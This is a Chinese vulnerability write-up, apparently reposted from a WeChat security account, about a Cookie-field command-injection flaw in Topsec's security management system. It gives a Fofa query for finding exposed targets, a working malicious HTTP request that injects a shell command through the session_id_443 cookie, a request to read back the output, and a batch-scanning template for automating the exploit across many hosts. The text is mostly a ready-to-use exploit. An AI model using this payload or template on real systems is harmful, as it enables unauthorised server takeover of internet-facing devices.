漏洞简介
天融信TopSec安全管理系统 Cookie字段存在远程命令执行漏洞，通过该漏洞，攻击者可通过构造恶意字符串，执行任意系统命令，从而拿下服务器权限。
漏洞复现
步骤一：在Fofa中搜索以下语法并随机确定要进行攻击测试的目标....
# Fofa搜索语法title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"
步骤二：开启代理并打开BP对其首页进行抓包拦截....修改请求头内容...
执行命令
GET /cgi/maincgi.cgi?Url=aa HTTP/1.1Host: ipCookie: session_id_443=1|echo `id` > /www/htdocs/site/image/qqqq.txt;User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
查看结果
GET /site/image/qqqq.txt HTTP/1.1Host:IPCookie: session_id_443=1User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
批量脚本
id: template-idinfo:name: test_qrcode_b-rceauthor: kaliseverity: infodescription: descriptionreference:https://tags: tagsrequests:raw:# this request will be sent to {{Hostname}} to get the token|GET /cgi/maincgi.cgi?Url=aa HTTP/1.1Host: {{Hostname}}Cookie: session_id_443=1|echo `id` > /www/htdocs/site/image/qqqq.txt;: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36# This request will be sent instead to https://api.target.com:443 to verify the token validity|: {{Hostname}}GET /site/image/qqqq.txt HTTP/1.1Host: {{Hostname}}Cookie: session_id_443=1: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36matchers:type: wordpart: bodywords:'uid'condition: or
原文始发于微信公众号（揽月安全团队）：天融信TOPSEC Cookie 远程命令执行漏洞
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